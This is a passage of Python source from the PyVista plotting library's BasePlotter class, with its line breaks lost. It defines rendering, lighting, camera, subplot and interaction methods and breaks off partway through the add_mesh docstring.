exporter.SetSaveNormal(save_normals) exporter.Update() # rotate back if applicable if rotate_scene: for renderer in self.renderers: for actor in renderer.actors.values(): if hasattr(actor, 'RotateX'): actor.RotateZ(90) actor.RotateX(90) def enable_hidden_line_removal(self, all_renderers=True): """Enable hidden line removal. Wireframe geometry will be drawn using hidden line removal if the rendering engine supports it. Disable this with :func:`disable_hidden_line_removal <BasePlotter.disable_hidden_line_removal>` Parameters ---------- all_renderers : bool If ``True``, applies to all renderers in subplots. If ``False``, then only applies to the active renderer. Examples -------- Create a side-by-side plotter and render a sphere in wireframe with hidden line removal enabled on the left and disabled on the right. >>> import pyvista >>> sphere = pyvista.Sphere(theta_resolution=20, phi_resolution=20) >>> pl = pyvista.Plotter(shape=(1, 2)) >>> _ = pl.add_mesh(sphere, line_width=3, style='wireframe') >>> _ = pl.add_text("With hidden line removal") >>> pl.enable_hidden_line_removal(all_renderers=False) >>> pl.subplot(0, 1) >>> pl.disable_hidden_line_removal(all_renderers=False) >>> _ = pl.add_mesh(sphere, line_width=3, style='wireframe') >>> _ = pl.add_text("Without hidden line removal") >>> pl.show() """ if all_renderers: for renderer in self.renderers: renderer.enable_hidden_line_removal() else: self.renderer.enable_hidden_line_removal() def disable_hidden_line_removal(self, all_renderers=True): """Disable hidden line removal. Enable again with :func:`enable_hidden_line_removal <BasePlotter.enable_hidden_line_removal>` Parameters ---------- all_renderers : bool If ``True``, applies to all renderers in subplots. If ``False``, then only applies to the active renderer. Examples -------- Enable and then disable hidden line removal. >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.enable_hidden_line_removal() >>> pl.disable_hidden_line_removal() """ if all_renderers: for renderer in self.renderers: renderer.disable_hidden_line_removal() else: self.renderer.disable_hidden_line_removal() @property def scalar_bar(self): """First scalar bar. Kept for backwards compatibility.""" return list(self.scalar_bars.values())[0] @property def scalar_bars(self): """Scalar bars. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> sphere['Data'] = sphere.points[:, 2] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere) >>> plotter.scalar_bars Scalar Bar Title Interactive "Data" False Select a scalar bar actor based on the title of the bar. >>> plotter.scalar_bars['Data'] # doctest:+SKIP (vtkmodules.vtkRenderingAnnotation.vtkScalarBarActor)0x7fcd3567ca00 """ return self._scalar_bars @property def _before_close_callback(self): """Return the cached function (expecting a reference).""" if self.__before_close_callback is not None: return self.__before_close_callback() @_before_close_callback.setter def _before_close_callback(self, func): """Store a weakref.ref of the function being called.""" if func is not None: self.__before_close_callback = weakref.ref(func) else: self.__before_close_callback = None @property def shape(self): """Shape of the plotter. Examples -------- Return the plotter shape. >>> import pyvista >>> plotter = pyvista.Plotter(shape=(2, 2)) >>> plotter.shape (2, 2) """ return self.renderers._shape @property def renderer(self): """Return the active renderer. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.renderer # doctest:+SKIP (Renderer)0x7f916129bfa0 """ return self.renderers.active_renderer @property def store_image(self): """Store last rendered frame on close. This is normally disabled to avoid caching the image, and is enabled by default by setting: ``pyvista.BUILDING_GALLERY = True`` Examples -------- >>> import pyvista >>> pl = pyvista.Plotter(off_screen=True) >>> pl.store_image = True >>> _ = pl.add_mesh(pyvista.Cube()) >>> pl.show() >>> image = pl.last_image >>> type(image) # doctest:+SKIP <class 'numpy.ndarray'> """ return self._store_image @store_image.setter def store_image(self, value): """Store last rendered frame on close.""" self._store_image = bool(value) def subplot(self, index_row, index_column=None): """Set the active subplot. Parameters ---------- index_row : int Index of the subplot to activate along the rows. index_column : int Index of the subplot to activate along the columns. Examples -------- Create a 2 wide plot and set the background of right-hand plot to orange. Add a cube to the left plot and a sphere to the right. >>> import pyvista >>> pl = pyvista.Plotter(shape=(1, 2)) >>> actor = pl.add_mesh(pyvista.Cube()) >>> pl.subplot(0, 1) >>> actor = pl.add_mesh(pyvista.Sphere()) >>> pl.set_background('orange', all_renderers=False) >>> pl.show() """ self.renderers.set_active_renderer(index_row, index_column) @wraps(Renderer.add_floor) def add_floor(self, *args, **kwargs): """Wrap ``Renderer.add_floor``.""" return self.renderer.add_floor(*args, **kwargs) @wraps(Renderer.remove_floors) def remove_floors(self, *args, **kwargs): """Wrap ``Renderer.remove_floors``.""" return self.renderer.remove_floors(*args, **kwargs) def enable_3_lights(self, only_active=False): """Enable 3-lights illumination. This will replace all pre-existing lights in the scene. Parameters ---------- only_active : bool If ``True``, only change the active renderer. The default is that every renderer is affected. Examples -------- >>> from pyvista import demos >>> pl = demos.orientation_plotter() >>> pl.enable_3_lights() >>> pl.show() Note how this varies from the default plotting. >>> pl = demos.orientation_plotter() >>> pl.show() """ def _to_pos(elevation, azimuth): theta = azimuth * np.pi / 180.0 phi = (90.0 - elevation) * np.pi / 180.0 x = np.sin(theta) * np.sin(phi) y = np.cos(phi) z = np.cos(theta) * np.sin(phi) return x, y, z renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.remove_all_lights() # Inspired from Mayavi's version of Raymond Maple 3-lights illumination intensities = [1, 0.6, 0.5] all_angles = [(45.0, 45.0), (-30.0, -60.0), (-30.0, 60.0)] for intensity, angles in zip(intensities, all_angles): light = pyvista.Light(light_type='camera light') light.intensity = intensity light.position = _to_pos(*angles) for renderer in renderers: renderer.add_light(light) def disable_3_lights(self): """Please use ``enable_lightkit``, this method has been depreciated.""" from pyvista.core.errors import DeprecationError raise DeprecationError('DEPRECATED: Please use ``enable_lightkit``') def enable_lightkit(self, only_active=False): """Enable the default light-kit lighting. See: https://www.researchgate.net/publication/2926068 This will replace all pre-existing lights in the renderer. Parameters ---------- only_active : bool If ``True``, only change the active renderer. The default is that every renderer is affected. Examples -------- Create a plotter without any lights and then enable the default light kit. >>> import pyvista >>> pl = pyvista.Plotter(lighting=None) >>> pl.enable_lightkit() >>> actor = pl.add_mesh(pyvista.Cube(), show_edges=True) >>> pl.show() """ renderers = [self.renderer] if only_active else self.renderers light_kit = _vtk.vtkLightKit() for renderer in renderers: renderer.remove_all_lights() # Use the renderer as a vtkLightKit parser. # Feed it the LightKit, pop off the vtkLights, put back # pyvista Lights. This is the price we must pay for using # inheritance rather than composition. light_kit.AddLightsToRenderer(renderer) vtk_lights = renderer.lights renderer.remove_all_lights() for vtk_light in vtk_lights: light = pyvista.Light.from_vtk(vtk_light) renderer.add_light(light) renderer.LightFollowCameraOn() @wraps(Renderer.enable_anti_aliasing) def enable_anti_aliasing(self, *args, **kwargs): """Wrap ``Renderer.enable_anti_aliasing``.""" for renderer in self.renderers: renderer.enable_anti_aliasing(*args, **kwargs) @wraps(Renderer.disable_anti_aliasing) def disable_anti_aliasing(self, *args, **kwargs): """Wrap ``Renderer.disable_anti_aliasing``.""" self.renderer.disable_anti_aliasing(*args, **kwargs) @wraps(Renderer.set_focus) def set_focus(self, *args, **kwargs): """Wrap ``Renderer.set_focus``.""" log.debug('set_focus: %s, %s', str(args), str(kwargs)) self.renderer.set_focus(*args, **kwargs) self.render() @wraps(Renderer.set_position) def set_position(self, *args, **kwargs): """Wrap ``Renderer.set_position``.""" self.renderer.set_position(*args, **kwargs) self.render() @wraps(Renderer.set_viewup) def set_viewup(self, *args, **kwargs): """Wrap ``Renderer.set_viewup``.""" self.renderer.set_viewup(*args, **kwargs) self.render() @wraps(Renderer.add_orientation_widget) def add_orientation_widget(self, *args, **kwargs): """Wrap ``Renderer.add_orientation_widget``.""" return self.renderer.add_orientation_widget(*args, **kwargs) @wraps(Renderer.add_axes) def add_axes(self, *args, **kwargs): """Wrap ``Renderer.add_axes``.""" return self.renderer.add_axes(*args, **kwargs) @wraps(Renderer.hide_axes) def hide_axes(self, *args, **kwargs): """Wrap ``Renderer.hide_axes``.""" return self.renderer.hide_axes(*args, **kwargs) @wraps(Renderer.show_axes) def show_axes(self, *args, **kwargs): """Wrap ``Renderer.show_axes``.""" return self.renderer.show_axes(*args, **kwargs) @wraps(Renderer.update_bounds_axes) def update_bounds_axes(self, *args, **kwargs): """Wrap ``Renderer.update_bounds_axes``.""" return self.renderer.update_bounds_axes(*args, **kwargs) @wraps(Renderer.add_actor) def add_actor(self, *args, **kwargs): """Wrap ``Renderer.add_actor``.""" return self.renderer.add_actor(*args, **kwargs) @wraps(Renderer.enable_parallel_projection) def enable_parallel_projection(self, *args, **kwargs): """Wrap ``Renderer.enable_parallel_projection``.""" return self.renderer.enable_parallel_projection(*args, **kwargs) @wraps(Renderer.disable_parallel_projection) def disable_parallel_projection(self, *args, **kwargs): """Wrap ``Renderer.disable_parallel_projection``.""" return self.renderer.disable_parallel_projection(*args, **kwargs) @wraps(Renderer.enable_shadows) def enable_shadows(self, *args, **kwargs): """Wrap ``Renderer.enable_shadows``.""" return self.renderer.enable_shadows(*args, **kwargs) @wraps(Renderer.disable_shadows) def disable_shadows(self, *args, **kwargs): """Wrap ``Renderer.disable_shadows``.""" return self.renderer.disable_shadows(*args, **kwargs) @property def parallel_projection(self): """Return parallel projection state of active render window.""" return self.renderer.parallel_projection @parallel_projection.setter def parallel_projection(self, state): """Set parallel projection state of all active render windows.""" self.renderer.parallel_projection = state @property def parallel_scale(self): """Return parallel scale of active render window.""" return self.renderer.parallel_scale @parallel_scale.setter def parallel_scale(self, value): """Set parallel scale of all active render windows.""" self.renderer.parallel_scale = value @wraps(Renderer.add_axes_at_origin) def add_axes_at_origin(self, *args, **kwargs): """Wrap ``Renderer.add_axes_at_origin``.""" return self.renderer.add_axes_at_origin(*args, **kwargs) @wraps(Renderer.show_bounds) def show_bounds(self, *args, **kwargs): """Wrap ``Renderer.show_bounds``.""" return self.renderer.show_bounds(*args, **kwargs) @wraps(Renderer.add_bounding_box) def add_bounding_box(self, *args, **kwargs): """Wrap ``Renderer.add_bounding_box``.""" return self.renderer.add_bounding_box(*args, **kwargs) @wraps(Renderer.remove_bounding_box) def remove_bounding_box(self, *args, **kwargs): """Wrap ``Renderer.remove_bounding_box``.""" return self.renderer.remove_bounding_box(*args, **kwargs) @wraps(Renderer.remove_bounds_axes) def remove_bounds_axes(self, *args, **kwargs): """Wrap ``Renderer.remove_bounds_axes``.""" return self.renderer.remove_bounds_axes(*args, **kwargs) @wraps(Renderer.show_grid) def show_grid(self, *args, **kwargs): """Wrap ``Renderer.show_grid``.""" return self.renderer.show_grid(*args, **kwargs) @wraps(Renderer.set_scale) def set_scale(self, *args, **kwargs): """Wrap ``Renderer.set_scale``.""" return self.renderer.set_scale(*args, **kwargs) @wraps(Renderer.enable_eye_dome_lighting) def enable_eye_dome_lighting(self, *args, **kwargs): """Wrap ``Renderer.enable_eye_dome_lighting``.""" return self.renderer.enable_eye_dome_lighting(*args, **kwargs) @wraps(Renderer.disable_eye_dome_lighting) def disable_eye_dome_lighting(self, *args, **kwargs): """Wrap ``Renderer.disable_eye_dome_lighting``.""" self.renderer.disable_eye_dome_lighting(*args, **kwargs) @wraps(Renderer.reset_camera) def reset_camera(self, *args, **kwargs): """Wrap ``Renderer.reset_camera``.""" self.renderer.reset_camera(*args, **kwargs) self.render() @wraps(Renderer.isometric_view) def isometric_view(self, *args, **kwargs): """Wrap ``Renderer.isometric_view``.""" self.renderer.isometric_view(*args, **kwargs) @wraps(Renderer.view_isometric) def view_isometric(self, *args, **kwarg): """Wrap ``Renderer.view_isometric``.""" self.renderer.view_isometric(*args, **kwarg) @wraps(Renderer.view_vector) def view_vector(self, *args, **kwarg): """Wrap ``Renderer.view_vector``.""" self.renderer.view_vector(*args, **kwarg) @wraps(Renderer.view_xy) def view_xy(self, *args, **kwarg): """Wrap ``Renderer.view_xy``.""" self.renderer.view_xy(*args, **kwarg) @wraps(Renderer.view_yx) def view_yx(self, *args, **kwarg): """Wrap ``Renderer.view_yx``.""" self.renderer.view_yx(*args, **kwarg) @wraps(Renderer.view_xz) def view_xz(self, *args, **kwarg): """Wrap ``Renderer.view_xz``.""" self.renderer.view_xz(*args, **kwarg) @wraps(Renderer.view_zx) def view_zx(self, *args, **kwarg): """Wrap ``Renderer.view_zx``.""" self.renderer.view_zx(*args, **kwarg) @wraps(Renderer.view_yz) def view_yz(self, *args, **kwarg): """Wrap ``Renderer.view_yz``.""" self.renderer.view_yz(*args, **kwarg) @wraps(Renderer.view_zy) def view_zy(self, *args, **kwarg): """Wrap ``Renderer.view_zy``.""" self.renderer.view_zy(*args, **kwarg) @wraps(Renderer.disable) def disable(self, *args, **kwarg): """Wrap ``Renderer.disable``.""" self.renderer.disable(*args, **kwarg) @wraps(Renderer.enable) def enable(self, *args, **kwarg): """Wrap ``Renderer.enable``.""" self.renderer.enable(*args, **kwarg) @wraps(Renderer.enable_depth_peeling) def enable_depth_peeling(self, *args, **kwargs): """Wrap ``Renderer.enable_depth_peeling``.""" if hasattr(self, 'ren_win'): result = self.renderer.enable_depth_peeling(*args, **kwargs) if result: self.ren_win.AlphaBitPlanesOn() return result @wraps(Renderer.disable_depth_peeling) def disable_depth_peeling(self): """Wrap ``Renderer.disable_depth_peeling``.""" if hasattr(self, 'ren_win'): self.ren_win.AlphaBitPlanesOff() return self.renderer.disable_depth_peeling() @wraps(Renderer.get_default_cam_pos) def get_default_cam_pos(self, *args, **kwargs): """Wrap ``Renderer.get_default_cam_pos``.""" return self.renderer.get_default_cam_pos(*args, **kwargs) @wraps(Renderer.remove_actor) def remove_actor(self, *args, **kwargs): """Wrap ``Renderer.remove_actor``.""" for renderer in self.renderers: renderer.remove_actor(*args, **kwargs) return True @wraps(Renderer.set_environment_texture) def set_environment_texture(self, *args, **kwargs): """Wrap ``Renderer.set_environment_texture``.""" return self.renderer.set_environment_texture(*args, **kwargs) #### Properties from Renderer #### @property def camera(self): """Return the active camera of the active renderer.""" if not self.camera_set: self.camera_position = self.get_default_cam_pos() self.reset_camera() self.camera_set = True return self.renderer.camera @camera.setter def camera(self, camera): """Set the active camera for the rendering scene.""" self.renderer.camera = camera @property def camera_set(self): """Return if the camera of the active renderer has been set.""" return self.renderer.camera_set @camera_set.setter def camera_set(self, is_set): """Set if the camera has been set on the active renderer.""" self.renderer.camera_set = is_set @property def bounds(self): """Return the bounds of the active renderer.""" return self.renderer.bounds @property def length(self): """Return the length of the diagonal of the bounding box of the scene.""" return self.renderer.length @property def center(self): """Return the center of the active renderer.""" return self.renderer.center @property def _scalar_bar_slots(self): """Return the scalar bar slots of the active renderer.""" return self.renderer._scalar_bar_slots @_scalar_bar_slots.setter def _scalar_bar_slots(self, value): """Set the scalar bar slots of the active renderer.""" self.renderer._scalar_bar_slots = value @property def _scalar_bar_slot_lookup(self): """Return the scalar bar slot lookup of the active renderer.""" return self.renderer._scalar_bar_slot_lookup @_scalar_bar_slot_lookup.setter def _scalar_bar_slot_lookup(self, value): """Set the scalar bar slot lookup of the active renderer.""" self.renderer._scalar_bar_slot_lookup = value @property def scale(self): """Return the scaling of the active renderer.""" return self.renderer.scale @scale.setter def scale(self, scale): """Set the scaling of the active renderer.""" self.renderer.set_scale(*scale) @property def camera_position(self): """Return camera position of the active render window.""" return self.renderer.camera_position @camera_position.setter def camera_position(self, camera_location): """Set camera position of the active render window.""" self.renderer.camera_position = camera_location @property def background_color(self): """Return the background color of the active render window.""" return self.renderers.active_renderer.GetBackground() @background_color.setter def background_color(self, color): """Set the background color of all the render windows.""" self.set_background(color) @property def window_size(self): """Return the render window size in ``(width, height)``. Examples -------- Change the window size from ``200 x 200`` to ``400 x 400``. >>> import pyvista >>> pl = pyvista.Plotter(window_size=[200, 200]) >>> pl.window_size [200, 200] >>> pl.window_size = [400, 400] >>> pl.window_size [400, 400] """ return list(self.ren_win.GetSize()) @window_size.setter def window_size(self, window_size): """Set the render window size.""" self.ren_win.SetSize(window_size[0], window_size[1]) @property def image_depth(self): """Return a depth image representing current render window. Helper attribute for ``get_image_depth``. """ return self.get_image_depth() def _check_rendered(self): """Check if the render window has been shown and raise an exception if not.""" if not self._rendered: raise AttributeError('\nThis plotter has not yet been setup and rendered ' 'with ``show()``.\n' 'Consider setting ``off_screen=True`` ' 'for off screen rendering.\n') def _check_has_ren_win(self): """Check if render window attribute exists and raise an exception if not.""" if not hasattr(self, 'ren_win'): raise AttributeError('\n\nTo retrieve an image after the render window ' 'has been closed, set:\n\n' ' ``plotter.store_image = True``\n\n' 'before closing the plotter.') @property def image(self): """Return an image array of current render window. To retrieve an image after the render window has been closed, set: ``plotter.store_image = True`` before closing the plotter. """ if not hasattr(self, 'ren_win') and self.last_image is not None: return self.last_image self._check_rendered() self._check_has_ren_win() data = image_from_window(self.ren_win) if self.image_transparent_background: return data # ignore alpha channel return data[:, :, :-1] def render(self): """Render the main window. Does nothing until ``show`` has been called. """ if hasattr(self, 'ren_win') and not self._first_time: log.debug('Rendering') self.ren_win.Render() self._rendered = True @wraps(RenderWindowInteractor.add_key_event) def add_key_event(self, *args, **kwargs): """Wrap RenderWindowInteractor.add_key_event.""" if hasattr(self, 'iren'): self.iren.add_key_event(*args, **kwargs) def clear_events_for_key(self, key): """Remove the callbacks associated to the key. Parameters ---------- key : str Key to clear events for. """ self.iren.clear_events_for_key(key) def store_mouse_position(self, *args): """Store mouse position.""" if not hasattr(self, "iren"): raise AttributeError("This plotting window is not interactive.") self.mouse_position = self.iren.get_event_position() def store_click_position(self, *args): """Store click position in viewport coordinates.""" if not hasattr(self, "iren"): raise AttributeError("This plotting window is not interactive.") self.click_position = self.iren.get_event_position() self.mouse_position = self.click_position def track_mouse_position(self): """Keep track of the mouse position. This will potentially slow down the interactor. No callbacks supported here - use :func:`pyvista.BasePlotter.track_click_position` instead. """ self.iren.track_mouse_position(self.store_mouse_position) def untrack_mouse_position(self): """Stop tracking the mouse position.""" self.iren.untrack_mouse_position() @wraps(RenderWindowInteractor.track_click_position) def track_click_position(self, *args, **kwargs): """Wrap RenderWindowInteractor.track_click_position.""" self.iren.track_click_position(*args, **kwargs) def untrack_click_position(self): """Stop tracking the click position.""" self.iren.untrack_click_position() def _prep_for_close(self): """Make sure a screenshot is acquired before closing. This doesn't actually close anything! It just preps the plotter for closing. """ # Grab screenshot right before renderer closes self.last_image = self.screenshot(True, return_img=True) self.last_image_depth = self.get_image_depth() def increment_point_size_and_line_width(self, increment): """Increment point size and line width of all actors. For every actor in the scene, increment both its point size and line width by the given value. Parameters ---------- increment : float Amount to increment point size and line width. """ for renderer in self.renderers: for actor in renderer._actors.values(): if hasattr(actor, "GetProperty"): prop = actor.GetProperty() if hasattr(prop, "SetPointSize"): prop.SetPointSize(prop.GetPointSize() + increment) if hasattr(prop, "SetLineWidth"): prop.SetLineWidth(prop.GetLineWidth() + increment) self.render() return def reset_key_events(self): """Reset all of the key press events to their defaults.""" if hasattr(self, 'iren'): self.iren.clear_key_event_callbacks() self.add_key_event('q', self._prep_for_close) # Add no matter what b_left_down_callback = lambda: self.iren.add_observer('LeftButtonPressEvent', self.left_button_down) self.add_key_event('b', b_left_down_callback) self.add_key_event('v', lambda: self.isometric_view_interactive()) self.add_key_event('C', lambda: self.enable_cell_picking()) self.add_key_event('Up', lambda: self.camera.Zoom(1.05)) self.add_key_event('Down', lambda: self.camera.Zoom(0.95)) self.add_key_event('plus', lambda: self.increment_point_size_and_line_width(1)) self.add_key_event('minus', lambda: self.increment_point_size_and_line_width(-1)) @wraps(RenderWindowInteractor.key_press_event) def key_press_event(self, *args, **kwargs): """Wrap RenderWindowInteractor.key_press_event.""" self.iren.key_press_event(*args, **kwargs) def left_button_down(self, obj, event_type): """Register the event for a left button down click.""" if hasattr(self.ren_win, 'GetOffScreenFramebuffer'): if not self.ren_win.GetOffScreenFramebuffer().GetFBOIndex(): # must raise a runtime error as this causes a segfault on VTK9 raise ValueError('Invoking helper with no framebuffer') # Get 2D click location on window click_pos = self.iren.get_event_position() # Get corresponding click location in the 3D plot picker = _vtk.vtkWorldPointPicker() picker.Pick(click_pos[0], click_pos[1], 0, self.renderer) self.pickpoint = np.asarray(picker.GetPickPosition()).reshape((-1, 3)) if np.any(np.isnan(self.pickpoint)): self.pickpoint[:] = 0 @wraps(RenderWindowInteractor.enable_trackball_style) def enable_trackball_style(self): """Wrap RenderWindowInteractor.enable_trackball_style.""" self.iren.enable_trackball_style() @wraps(RenderWindowInteractor.enable_trackball_actor_style) def enable_trackball_actor_style(self): """Wrap RenderWindowInteractor.enable_trackball_actor_style.""" self.iren.enable_trackball_actor_style() @wraps(RenderWindowInteractor.enable_image_style) def enable_image_style(self): """Wrap RenderWindowInteractor.enable_image_style.""" self.iren.enable_image_style() @wraps(RenderWindowInteractor.enable_joystick_style) def enable_joystick_style(self): """Wrap RenderWindowInteractor.enable_joystick_style.""" self.iren.enable_joystick_style() @wraps(RenderWindowInteractor.enable_joystick_actor_style) def enable_joystick_actor_style(self): """Wrap RenderWindowInteractor.enable_joystick_actor_style.""" self.iren.enable_joystick_actor_style() @wraps(RenderWindowInteractor.enable_zoom_style) def enable_zoom_style(self): """Wrap RenderWindowInteractor.enable_zoom_style.""" self.iren.enable_zoom_style() @wraps(RenderWindowInteractor.enable_terrain_style) def enable_terrain_style(self, *args, **kwargs): """Wrap RenderWindowInteractor.enable_terrain_style.""" self.iren.enable_terrain_style(*args, **kwargs) @wraps(RenderWindowInteractor.enable_rubber_band_style) def enable_rubber_band_style(self): """Wrap RenderWindowInteractor.enable_rubber_band_style.""" self.iren.enable_rubber_band_style() @wraps(RenderWindowInteractor.enable_rubber_band_2d_style) def enable_rubber_band_2d_style(self): """Wrap RenderWindowInteractor.enable_rubber_band_2d_style.""" self.iren.enable_rubber_band_2d_style() def hide_axes_all(self): """Hide the axes orientation widget in all renderers.""" for renderer in self.renderers: renderer.hide_axes() def show_axes_all(self): """Show the axes orientation widget in all renderers.""" for renderer in self.renderers: renderer.show_axes() def isometric_view_interactive(self): """Set the current interactive render window to isometric view.""" interactor = self.iren.get_interactor_style() renderer = interactor.GetCurrentRenderer() if renderer is None: renderer = self.renderer renderer.view_isometric() def update(self, stime=1, force_redraw=True): """Update window, redraw, process messages query. Parameters ---------- stime : int, optional Duration of timer that interrupt vtkRenderWindowInteractor in milliseconds. force_redraw : bool, optional Call ``render`` immediately. """ if stime <= 0: stime = 1 curr_time = time.time() if Plotter.last_update_time > curr_time: Plotter.last_update_time = curr_time if self.iren is not None: update_rate = self.iren.get_desired_update_rate() if (curr_time - Plotter.last_update_time) > (1.0/update_rate): self.right_timer_id = self.iren.create_repeating_timer(stime) self.render() Plotter.last_update_time = curr_time return if force_redraw: self.render() def add_mesh(self, mesh, color=None, style=None, scalars=None, clim=None, show_edges=None, edge_color=None, point_size=5.0, line_width=None, opacity=1.0, flip_scalars=False, lighting=None, n_colors=256, interpolate_before_map=True, cmap=None, label=None, reset_camera=None, scalar_bar_args=None, show_scalar_bar=None, multi_colors=False, name=None, texture=None, render_points_as_spheres=None, render_lines_as_tubes=False, smooth_shading=None, ambient=0.0, diffuse=1.0, specular=0.0, specular_power=100.0, nan_color=None, nan_opacity=1.0, culling=None, rgb=None, categories=False, silhouette=False, use_transparency=False, below_color=None, above_color=None, annotations=None, pickable=True, preference="point", log_scale=False, pbr=False, metallic=0.0, roughness=0.5, render=True, component=None, **kwargs): """Add any PyVista/VTK mesh or dataset that PyVista can wrap to the scene. This method is using a mesh representation to view the surfaces and/or geometry of datasets. For volume rendering, see :func:`pyvista.BasePlotter.add_volume`. Parameters ---------- mesh : pyvista.DataSet or pyvista.MultiBlock Any PyVista or VTK mesh is supported. Also, any dataset that :func:`pyvista.wrap` can handle including NumPy arrays of XYZ points. color : str or 3 item list, optional, defaults to white Use to make the entire mesh have a single solid color. Either a string, RGB list, or hex color string. For example: ``color='white'``, ``color='w'``, ``color=[1, 1, 1]``, or ``color='#FFFFFF'``. Color will be overridden if scalars are specified. style : str, optional Visualization style of the mesh. One of the following: ``style='surface'``, ``style='wireframe'``, ``style='points'``. Defaults to ``'surface'``. Note that ``'wireframe'`` only shows a wireframe of the outer geometry. scalars : str or numpy.ndarray, optional Scalars used to "color" the mesh. Accepts a string name of an array that is present on the mesh or an array equal to the number of cells or the number of points in the mesh. Array should be sized as a single vector. If both ``color`` and ``scalars`` are ``None``, then the active scalars are used. clim : 2 item list, optional Color bar range for scalars. Defaults to minimum and maximum of scalars array. Example: ``[-1, 2]``. ``rng`` is also an accepted alias for this. show_edges : bool, optional Shows the edges of a mesh. Does not apply to a wireframe representation. edge_color : str or 3 item list, optional, defaults to black The solid color to give the edges when ``show_edges=True``. Either a string, RGB list, or hex color string. point_size : float, optional Point size of any nodes in the dataset plotted. Also applicable when style='points'. Default ``5.0``. line_width : float, optional Thickness of lines. Only valid for wireframe and surface representations. Default None. opacity : float, str, array-like Opacity of the mesh. If a single float value is given, it will be the global opacity of the mesh and uniformly applied everywhere - should be between 0 and 1. A string can also be specified to map the scalars range to a predefined opacity transfer function (options include: 'linear', 'linear_r', 'geom', 'geom_r'). A string could also be used to map a scalars array from the mesh to the opacity (must have same number of elements as the ``scalars`` argument). Or you can pass a custom made transfer function that is an array either ``n_colors`` in length or shorter. flip_scalars : bool, optional Flip direction of cmap. Most colormaps allow ``*_r`` suffix to do this as well. lighting : bool, optional Enable or disable view direction lighting. Default ``False``. n_colors : int, optional Number of colors to use when displaying scalars. Defaults to 256. The scalar bar will also have this many colors. interpolate_before_map : bool, optional Enabling makes for a smoother scalars display. Default is ``True``. When ``False``, OpenGL will interpolate the mapped colors which can result is showing colors that are not present in the color map. cmap : str, list, optional Name of the Matplotlib colormap to use when mapping the ``scalars``. See available Matplotlib colormaps. Only applicable for when displaying ``scalars``. Requires Matplotlib to be installed. ``colormap`` is also an accepted alias for this. If ``colorcet`` or ``cmocean`` are installed, their colormaps can be specified by name. You can also specify a list of colors to override an existing colormap with a custom one. For example, to create a three color colormap you might specify ``['green', 'red', 'blue']``. label : str, optional String label to use when adding a legend to the scene with :func:`pyvista.BasePlotter.add_legend`. reset_camera : bool, optional Reset the camera after adding this mesh to the scene. scalar_bar_args : dict, optional Dictionary of keyword arguments to pass when adding the scalar bar to the scene. For options, see :func:`pyvista.BasePlotter.add_scalar_bar`. show_scalar_bar : bool If ``False``, a scalar bar will not be added to the scene. Defaults to ``True``. multi_colors : bool, optional If a ``MultiBlock`` dataset is given this will color each block by a solid color using matplotlib's color cycler. name : str, optional The name for the added mesh/actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. texture : vtk.vtkTexture or np.ndarray or bool, optional A texture to apply if the input mesh has texture coordinates. This will not work with MultiBlock datasets. If set to ``True``, the first available texture on the object will be used. If a string name is given, it will pull a texture with that name associated to the input mesh. render_points_as_spheres : bool, optional Render points as spheres rather than dots. render_lines_as_tubes : bool, optional Show lines as thick tubes rather than flat lines. Control the width with ``line_width``. smooth_shading : bool, optional Enable smooth shading when ``True`` using either the Gouraud or Phong shading algorithm. When ``False``, use flat shading. Automatically enabled when ``pbr=True``. ambient : float, optional When lighting is enabled, this is the amount of light in the range of 0 to 1 (default 0.0) that reaches the actor when not directed at the light source emitted from the viewer. diffuse : float, optional The diffuse lighting coefficient. Default 1.0. specular : float, optional The specular lighting coefficient. Default 0.0. specular_power : float, optional The specular power. Between 0.0 and 128.0. nan_color : str or 3 item list, optional, defaults to gray The color to use for all ``NaN`` values in the plotted scalar array. nan_opacity : float, optional Opacity of ``NaN`` values. Should be between 0 and 1. Default 1.0. culling : str, optional Does not render faces that are culled. Options are ``'front'`` or ``'back'``. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Defaults to ``False``. rgb : bool, optional If an 2 dimensional array is passed as the scalars, plot those values as RGB(A) colors. ``rgba`` is also an accepted alias for this. Opacity (the A) is optional. If a scalars array ending with ``"_rgba"`` is passed, the default becomes ``True``. This can be overridden by setting this parameter to ``False``. categories : bool, optional If set to ``True``, then the number of unique values in the scalar array will be used as the ``n_colors`` argument. silhouette : dict, bool, optional If set to ``True``, plot a silhouette highlight for the mesh. This feature is only available for a triangulated ``PolyData``. As a ``dict``, it contains the properties of the silhouette to display: * ``color``: ``str`` or 3-item ``list``, color of the silhouette * ``line_width``: ``float``, edge width * ``opacity``: ``float`` between 0 and 1, edge transparency * ``feature_angle``: If a ``float``, display sharp edges exceeding that angle in degrees. * ``decimate``: ``float`` between 0 and 1, level of decimation use_transparency : bool, optional Invert the opacity mappings and make the values correspond to transparency. below_color : str or 3 item list, optional Solid color for values below the scalars range (``clim``). This will automatically set the scalar bar ``below_label`` to ``'Below'``. above_color : str or 3 item list, optional Solid color for values below the scalars range (``clim``). This will automatically set the scalar bar ``above_label`` to ``'Above'``. annotations : dict, optional Pass a dictionary of annotations. Keys are the float values in the scalars range to annotate on the scalar bar and the values are the the string annotations. pickable : bool, optional Set whether this actor is pickable. preference : str, optional When ``mesh.n_points == mesh.n_cells`` and setting scalars, this parameter sets how the scalars will be mapped to the mesh. Default ``'points'``, causes the scalars will be associated with the mesh points. Can be either ``'points'`` or ``'cells'``. log_scale : bool, optional Use log scale when mapping data to colors. Scalars less than zero are mapped to the smallest representable positive float. Default: ``True``. pbr : bool, optional Enable physics based rendering (PBR) if the mesh is ``PolyData``. Use the ``color`` argument to set the base color. This is only available in VTK>=9. metallic : float, optional Usually this value is either 0 or 1 for a real material but any value in between is valid. This parameter is only used by PBR interpolation. Default value is 0.0. roughness : float, optional This value has to be between 0 (glossy) and 1 (rough). A glossy material has reflections and a high specular part. This parameter is only used by PBR interpolation. Default value is 0.5. render : bool, optional Force a render when ``True``. Default ``True``. component : int, optional Set component of vector valued scalars to plot. Must be nonnegative, if supplied. If ``None``, the magnitude of the vector is plotted. **kwargs : dict, optional Optional developer keyword arguments. Returns ------- vtk.vtkActor VTK actor of the mesh. Examples -------- Add a sphere to the plotter and show it with a custom scalar bar title. >>> import pyvista >>> sphere = pyvista.Sphere() >>> sphere['Data'] = 